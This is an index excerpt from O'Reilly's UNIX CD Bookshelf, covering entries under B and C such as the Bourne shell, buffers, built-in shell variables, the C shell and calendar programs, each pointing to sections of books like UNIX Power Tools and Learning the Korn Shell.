blank shell prompt : UNIX Power Tools, 7.10. What Good Is a Blank Shell Prompt?
block cursor : Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
block input/output operations : UNIX Power Tools, 39.3. The csh time variable
block size
changing : UNIX in a Nutshell, Chapter 2, Reference: dd
tape : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
blocking factor : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
blocks of text : sed & awk, 6.3.3. Building Blocks of Text
bold text : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
Boolean capabilities in termcap or terminfo files : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
Boolean operators, awk
sed & awk, 7.8. Relational and Boolean Operators
sed & awk, 11.1.4. Variables as Boolean Patterns
Bourne shell (sh)
Learning the Korn Shell, Preface
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, 1.3.2. Features of the Korn Shell
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.2. Shell Variables
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 9. Debugging Shell Programs
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 42.2.5. Aborting Programs
UNIX Power Tools, 44.3.3. Types of Shells
UNIX in a Nutshell, Chapter 2, Reference: sh
UNIX in a Nutshell, 4. The Bourne Shell and Korn Shell
UNIX Power Tools, 44.2. Writing a Simple Shell Program
(see also rsh utility)
{ } filename wildcards, adding
advantages : UNIX Power Tools, 44.3.3. Types of Shells
aliases : UNIX Power Tools, 10.9. Shell Functions
arrays in : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
background processing : (see background processes/jobs)
commands
list of : UNIX in a Nutshell, 4.6. Built-in Commands (Bourne and Korn Shell)
multiline commands : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
C shell compared to
UNIX Power Tools, 44.3.3. Types of Shells
UNIX Power Tools, 47.1. Why Not?
UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
case statements
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
command lines as scripts
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 44.15. Handling Command-Line Arguments in Shell Scripts
comments in scripts
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
compared to ksh and csh : UNIX in a Nutshell, 3.5. Differing Features
conditional expressions : UNIX Power Tools, 44.8. Test Exit Status with the if Statement
creating empty file : UNIX Power Tools, 21.7. Setting File Modification Time with touch
date formats : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
debugging scripts
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 46.1. Tips for Debugging Shell Scripts
-e option : UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
ending scripts : UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
example scripts
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 44.3.5. Bourne Shell Used Here
UNIX Power Tools, 44.4. Testing How Your System Executes Files
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 44.10.1. Looping Until a Command Succeeds
UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
executing scripts
UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
UNIX Power Tools, 44.4. Testing How Your System Executes Files
features of : UNIX Power Tools, 44.3.5. Bourne Shell Used Here
grouping commands : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
hangups in : UNIX Power Tools, 38.18. nohup
ignoreeof variable : UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
interrupted : UNIX Power Tools, 45.8. Handling Signals to Child Processes
invoking shell : UNIX in a Nutshell, 4.8. Invoking the Shell
job control : UNIX in a Nutshell, 4.7. Job Control
jot command used in : UNIX Power Tools, 45.11. The Multipurpose jot Command
logging out of : UNIX Power Tools, 3.2. Running Commands at Bourne/Korn Shell Logout
loops in
UNIX Power Tools, 9.12. The Bourne Shell for Loop
UNIX Power Tools, 44.10. Loops That Test Exit Status
mail notification : UNIX Power Tools, 21.8.2. For Bourne Shell Users
number crunching in : UNIX Power Tools, 45.11. The Multipurpose jot Command
overriding environment variables : UNIX Power Tools, 6.10. Running a Command with a Temporarily Different Environment
path names in scripts : UNIX Power Tools, 44.2. Writing a Simple Shell Program
pipelines in : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
.profile file : UNIX Power Tools, 2.2.1. Bourne Shell
quoting in
UNIX Power Tools, 8.14. Bourne Shell Quoting
UNIX Power Tools, 47.2.4. Quoting
random number generators : UNIX Power Tools, 45.11. The Multipurpose jot Command
reading .profile file : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
reading arguments : UNIX Power Tools, 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
redirecting input/output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 13.3. Send (only) Standard Error Down a Pipe
replacing with C shells
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX Power Tools, 45.7. The exec Command
running scripts in
UNIX Power Tools, 44.3.5. Bourne Shell Used Here
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
script file extension : UNIX Power Tools, 1.17. Filename Extensions
setting restrictions on
UNIX in a Nutshell, Chapter 2, Reference: rsh
UNIX in a Nutshell, 4.9. Restricted Shells
simulated functions and aliases : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
special characters/operators in : UNIX Power Tools, 8.19. "Special" Characters and Operators
standard input : UNIX Power Tools, 47.2.1.2. Reading Files
standard output : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
string editing operators : UNIX Power Tools, 45.12. Parameter Substitution
trapping signals
UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
UNIX Power Tools, 47.2.3. Signals
tset command : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
-v option : UNIX Power Tools, 6.9. Special C Shell Variables
variables
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 47.2.5. Variable Syntax
UNIX in a Nutshell, 4.3. Variables
environment variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 47.2.5. Variable Syntax
tracing : UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
-x option : UNIX Power Tools, 6.9. Special C Shell Variables
Bourne, Steven : Learning the Korn Shell, 1.3. History of UNIX Shells
Bourne-again shell : (see bash)
Bournegol : UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
Boyer-Moore search algorithm : UNIX Power Tools, 27.9. New greps Are Much Faster
braces : (see { })
bracket expressions : sed & awk, 3.2.4. Character Classes
brackets : (see [ ])
branch command : (see b command (sed))
branching : sed & awk, 6.4.1. Branching
branching commands (sed) : UNIX in a Nutshell, 10.4.5. Branching Commands
break command
Learning the Korn Shell, 5.4. select
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 8.3. Other Statements That Affect Flow Control
UNIX in a Nutshell, Chapter 4, Reference: break
UNIX in a Nutshell, Chapter 5, Reference: break
UNIX in a Nutshell, Chapter 11, Reference: break
redirected loops using : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
breaking lines : sed & awk, 11.2.3.3. Line continuation
breaksw command (csh) : UNIX in a Nutshell, Chapter 5, Reference: breaksw
BREs (basic regular expressions) : sed & awk, 3.2.4.3. POSIX character class additions
"broken pipe" error message
UNIX Power Tools, 46.1.1. Use -xv
UNIX Power Tools, 50.12. Common UNIX Error Messages
bs capability : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
BSD UNIX
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 2.3.4. Moving Around in the History File
Learning the Korn Shell, 2.3.6. Miscellaneous Commands
Learning the Korn Shell, 2.4. Vi Editing Mode
Learning the Korn Shell, 3.4.2.2. Mail Variables
alternatives for : UNIX Power Tools, 50.8. Which Version Am I Using?
changing a job's priority : UNIX Power Tools, 39.11. Changing a Job's Priority Under BSD UNIX
file ownership and : UNIX Power Tools, 22.20. Why Can't You Change File Ownership Under BSD UNIX?
manual page categories : UNIX Power Tools, 50.1. UNIX Online Documentation
nice command
UNIX Power Tools, 39.9.1. BSD C Shell nice
UNIX Power Tools, 39.9.2. BSD Standalone nice
tty driver, echoing control characters : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
which command : UNIX Power Tools, 50.8. Which Version Am I Using?
bsdtar program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
bsplit program
UNIX Power Tools, 35.9. Splitting Files at Fixed Points: split
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
buffers
emacs commands for : UNIX in a Nutshell, 7.2.9. Buffer Manipulation Commands
flushing : sed & awk, 11.2.1.3. Flushing buffered output
numbered : Learning the vi Editor, 4.3. Making Use of Buffers
output : UNIX Power Tools, 13.9. Send Output Two or More Places with tee
preserve (:pre) : Learning the vi Editor, 4.2.3. Recovering a Buffer
recovering after a crash : Learning the vi Editor, 4.2.3. Recovering a Buffer
recovering numbered
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 4.3.1. Recovering Deletions
renaming files : Learning the vi Editor, 5.3.1. Renaming the Buffer
saving commands in : Learning the vi Editor, 7.3.9. @-Functions
yanking to named
Learning the vi Editor, 4.3. Making Use of Buffers
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
Buggy Bourne Shell : UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
build.pt script : UNIX Power Tools, 52.8.1. Running the Build Scripts
buildhash script : UNIX Power Tools, 29.5. Adding Words to ispell's Dictionary
built-in commands/functions
UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
UNIX Power Tools, 8.11. Which One Will bash Use?
ability to add new in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
awk : sed & awk, 11.1.10. Functions
gawk : sed & awk, 11.2.3.9. Additional functions
online help for in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
order of precedence in command lookup
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
tawk : sed & awk, 11.3.2.2. Additional built-in tawk functions
built-in variables
Learning the Korn Shell, 3.4. Shell Variables
sed & awk, 7.7. System Variables
sed & awk, 11.1.11. Built-In Variables
(see also environment variables)
#
Learning the Korn Shell, 4.2.1. Positional Parameters
Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
$ : Learning the Korn Shell, 2.2. The History File
*
Learning the Korn Shell, 4.2.1. Positional Parameters
Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.4. select
?
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 9.1.2.2. ERR
Learning the Korn Shell, 9.2.5. Exercises
@ : Learning the Korn Shell, 4.2.1. Positional Parameters
csh shell : UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
CDPATH
Learning the Korn Shell, 3.4.3. Directory Search Path
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 14.5. Saving Time When You Change Directories: cdpath
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
as array : UNIX Power Tools, 47.5. Using C Shell Arrays
COLUMNS
Learning the Korn Shell, 3.4.2.1. Editing mode variables
Learning the Korn Shell, 7.2.2.3. Code blocks
UNIX in a Nutshell, 4.3.3. Other Shell Variables
EDITOR
Learning the Korn Shell, 3.4.2.1. Editing mode variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
ERRNO
sed & awk, 11.2.3.8. Additional variables
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
obsolescence in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
FCEDIT
Learning the Korn Shell, 3.4.2.1. Editing mode variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
FPATH
Learning the Korn Shell, 4.1.1.1. Autoloaded functions
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, 4.3.3. Other Shell Variables
gawk : sed & awk, 11.2.3.8. Additional variables
LINENO
Learning the Korn Shell, 9.1.1. Set Options
Learning the Korn Shell, 9.1.2.2. ERR
Learning the Korn Shell, 9.2.2. The Preamble
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
LINES
Learning the Korn Shell, 3.4.2.1. Editing mode variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
list of those not supported in Bourne shell : Learning the Korn Shell, A.1. The Bourne Shell
list of those not supported in pdksh : Learning the Korn Shell, A.4. pdksh
MAILCHECK
Learning the Korn Shell, 3.4.2.2. Mail Variables
UNIX Power Tools, 21.8.2. For Bourne Shell Users
UNIX in a Nutshell, 4.3.3. Other Shell Variables
MAILPATH
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 21.8.2. For Bourne Shell Users
UNIX in a Nutshell, 4.3.3. Other Shell Variables
naming convention : Learning the Korn Shell, 3.4. Shell Variables
OLDPWD
Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 7.3. Command-line Processing
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
OPTARG : Learning the Korn Shell, 6.1.3. getopts
OPTARGET : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
OPTIND
Learning the Korn Shell, 6.1.3. getopts
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
PID : Learning the Korn Shell, A.6. Workalikes on PC Platforms
positional parameters : (see positional parameters)
PS1
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 7.2. Basics of Setting the Prompt
UNIX in a Nutshell, 4.3.3. Other Shell Variables
command subsitution in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
PS2
Learning the Korn Shell, 3.4.2.3. Prompting Variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
PS3
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 5.4. select
command subsitution in next ksh release
Learning the Korn Shell, A.7. The Future of the Korn Shell
UNIX in a Nutshell, 4.3.3. Other Shell Variables
PS4
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 9.1.1. Set Options
UNIX in a Nutshell, 4.3.3. Other Shell Variables
in kshdb : Learning the Korn Shell, 9.2.3. Debugger Functions
RANDOM
Learning the Korn Shell, 9.1.2.1. EXIT
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
REPLY : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
in read statement : Learning the Korn Shell, 7.2.2. read
in select statement
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.3. Arrays
SECONDS
Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
sh and ksh shells : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
VISUAL
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 3.4.2.1. Editing mode variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
builtin command : UNIX Power Tools, 8.11. Which One Will bash Use?
bundling commands : UNIX in a Nutshell, Chapter 2, Reference: xargs
bundling software packages : UNIX in a Nutshell, 1.2. Bundling
burn-in : UNIX Power Tools, 22.18. Clear Your Terminal for Security, to Stop Burn-in
bus error (core dumped) error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
byte order conversion
order : UNIX Power Tools, 35.13. Other Conversions with dd

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

c command (sed)
sed & awk, 5.5. Append, Insert, and Change
UNIX in a Nutshell, Chapter 10, Reference: c
C compilers
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 6.1.3. getopts
UNIX Power Tools, 52.8.2.8. The make Program
optimization : Learning the Korn Shell, 6.1.3.1. More About C Compilers
options : Learning the Korn Shell, 6.1.3.1. More About C Compilers
as pipelines : Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
.c filename extension
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
C programming language
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 4. Basic Shell Programming
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 5.1.1.1. Return
Learning the Korn Shell, 5.1.3.2. About C Compilers
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 6. Command-line Options and Typed Variables
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, 6.2.1. Arithmetic Conditionals
Learning the Korn Shell, 7.2.1. print
Learning the Korn Shell, 7.2.1.1. print escape sequences
Learning the Korn Shell, 7.2.2. read
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
Learning the Korn Shell, 9. Debugging Shell Programs
Learning the Korn Shell, A.7. The Future of the Korn Shell
UNIX Power Tools, 52.8. Building Programs from Source Code
UNIX Power Tools, 52.8.2. Compiling Source Code
call-graph profile data for : UNIX in a Nutshell, Chapter 2, Reference: gprof
cc command : UNIX in a Nutshell, Chapter 2, Reference: cc
.cshrc file : (see .cshrc file)
debugging
UNIX in a Nutshell, Chapter 2, Reference: ctrace
UNIX in a Nutshell, Chapter 2, Reference: lint
file extensions
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
formatting files in : UNIX in a Nutshell, Chapter 2, Reference: cb
history mechanism
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 2.5. The fc Command
list of features in Korn shell : Learning the Korn Shell, Summary of Korn Shell Features
symbol cross-references : UNIX in a Nutshell, Chapter 2, Reference: cxref
which : Learning the Korn Shell, 3.2. Aliases
C shell (csh)
Learning the Korn Shell, Preface
Learning the Korn Shell, Intended Audience
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the Korn Shell, 1.3.2. Features of the Korn Shell
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 2.3.5. Filename Completion and Expansion
Learning the Korn Shell, 3.2. Aliases
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 3.5.2. The Environment File
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.2. Shell Variables
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
Learning the Korn Shell, 10.3.4. Privileged Mode
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 44.3.3. Types of Shells
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 2.3.1. Specifying Simple Instructions
UNIX in a Nutshell, 5. The C Shell
accidental logouts : UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
advantages
UNIX Power Tools, 44.3.3. Types of Shells
UNIX Power Tools, 47.5. Using C Shell Arrays
aliases
UNIX Power Tools, 10.6. Avoiding C Shell Alias Loops
UNIX Power Tools, 10.7. How to Put if-then-else in a C Shell Alias
background processing : (see background processes/jobs)
bash, csh, ksh, sh shells compared to
UNIX Power Tools, 47.1. Why Not?
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX Power Tools, 45.7. The exec Command
UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
UNIX in a Nutshell, 3.5. Differing Features
bugs in : UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
built-in string operators : UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
commands
built-in, list of : UNIX in a Nutshell, 5.6. Built-in C Shell Commands
history of
UNIX Power Tools, 11.11.2. C Shell
UNIX Power Tools, 11.15. Changing C Shell History Characters with histchars
UNIX Power Tools, 51.7. When You Get Impatient
(see also command history)
importing : UNIX Power Tools, 8.12. Which One Will the C Shell Use?
interpreting : UNIX Power Tools, 8.5. Command-Line Evaluation
command name for : UNIX Power Tools, 42.2.5. Aborting Programs
command tools and : UNIX Power Tools, 1.14. The Kernel and Daemons
configuration files : UNIX Power Tools, 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
creating empty file : UNIX Power Tools, 21.7. Setting File Modification Time with touch
default prompt : UNIX Power Tools, 7.1. Why Change Your Prompt?
disadvantages
UNIX Power Tools, 44.3.3. Types of Shells
UNIX Power Tools, 47.1. Why Not?
UNIX Power Tools, 47.2. C Shell Programming Considered Harmful
echo command : UNIX Power Tools, 8.6.1. Portability
editing history substitutions : UNIX Power Tools, 9.6. String Editing (Colon) Operators
error handling : UNIX Power Tools, 47.2.7. Error Handling
eval command : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
executing scripts via : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
exit status inserted : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
expressions in
UNIX Power Tools, 47.4.2. Expressions
UNIX Power Tools, 47.4.4. Examples
UNIX in a Nutshell, 5.4. Expressions
-f option : UNIX Power Tools, 2.5.1. Quick Login
flow control in : UNIX Power Tools, 47.2.2.2. Flow Control
interrupted : UNIX Power Tools, 45.8. Handling Signals to Child Processes
invoking shell : UNIX in a Nutshell, 5.8. Invoking the Shell
job control : UNIX in a Nutshell, 5.7. Job Control
Korn shell compared to : UNIX Power Tools, 47.1. Why Not?
.logout file : UNIX Power Tools, 3.1. Running Commands When You Log Out
loops
UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
UNIX Power Tools, 47.2.6. Expression Evaluation
mail notification : UNIX Power Tools, 21.8.1. For C Shell Users
managing file descriptors : UNIX Power Tools, 47.2.1. File Descriptors
matching word, escaping : UNIX Power Tools, 8.18. Here Documents
multiline commands : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
nesting aliases : UNIX Power Tools, 10.2.3. Setting Aliases Automatically, Unsetting Aliases
noclobber variable
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 13.6. Safe I/O Redirection with noclobber
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
operator precedence in : UNIX Power Tools, 47.4.2. Expressions
parsing in : UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
passing command history to : UNIX Power Tools, 11.12. Pass History to Another Shell
pipelines in : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
quoting in
UNIX Power Tools, 8.15. Differences Between Bourne and C Shell Quoting
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
UNIX Power Tools, 47.2.4. Quoting
random number generators : UNIX Power Tools, 45.11. The Multipurpose jot Command
redirecting input/output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 13.5. Redirection in C Shell: Capture Errors, Too?
rehash command : UNIX Power Tools, 4.2. A bin Directory for Your Programs and Scripts
repeat command : UNIX Power Tools, 9.25. The C Shell repeat Command
script file extension : UNIX Power Tools, 1.17. Filename Extensions
set nonomatch command : UNIX Power Tools, 3.4. Automatic File Cleanup
special characters/operators in : UNIX Power Tools, 8.19. "Special" Characters and Operators
speeding up : UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
standard input
UNIX Power Tools, 47.2.1.2. Reading Files
(see also standard input)
standard output
UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
(see also standard output)
stray prompt problems : UNIX Power Tools, 7.3. C Shell Prompt Causes Problems in vi, rsh, etc.
trapping signals : UNIX Power Tools, 47.2.3. Signals
variables
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 6.10. Running a Command with a Temporarily Different Environment
UNIX Power Tools, 47.2.5. Variable Syntax
UNIX in a Nutshell, 5.3. Variables
c-w script : UNIX Power Tools, 22.10. cx, cw, c-w: Quick File Permission Changes
C++ programming language
Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
Learning the Korn Shell, 9. Debugging Shell Programs
C- commands (emacs) : UNIX in a Nutshell, 7.3.1. Control-key Sequences
C132 script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
C80 script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
calculators
bc command
UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
UNIX in a Nutshell, Chapter 2, Reference: bc
calculator program (on X) : Learning the UNIX Operating System, 2.3.2. The xterm Window
dc command : UNIX in a Nutshell, Chapter 2, Reference: dc
spreadsheets vs. : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
types of : UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
.calendar file, pcal using : UNIX Power Tools, 48.9. PostScript Calendars with pcal
calendars
cal program
UNIX Power Tools, 48.6. Get Calendar for Any Month or Year: cal
UNIX in a Nutshell, Chapter 2, Reference: cal
calen program versus : UNIX Power Tools, 48.8. Calendar for 132-Column Terminals or Printers
printing : UNIX Power Tools, 48.9. PostScript Calendars with pcal
cal_today script
UNIX Power Tools, 48.7. cal That Marks Today's Date
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
calen program
UNIX Power Tools, 48.8. Calendar for 132-Column Terminals or Printers
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
calendar program
UNIX Power Tools, 48.4. Automatic Reminders and More: calendar
UNIX in a Nutshell, Chapter 2, Reference: calendar
sending one-line reminders : UNIX Power Tools, 40.11. Send Yourself Reminder Mail
call command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: call
call-graph profile data for C programming : UNIX in a Nutshell, Chapter 2, Reference: gprof
calling out (cu command) : UNIX in a Nutshell, Chapter 2, Reference: cu
cancel command
Learning the UNIX Operating System, 4.5.4.2. cancel and lprm
UNIX Power Tools, 43.2.1. System V Printing Commands
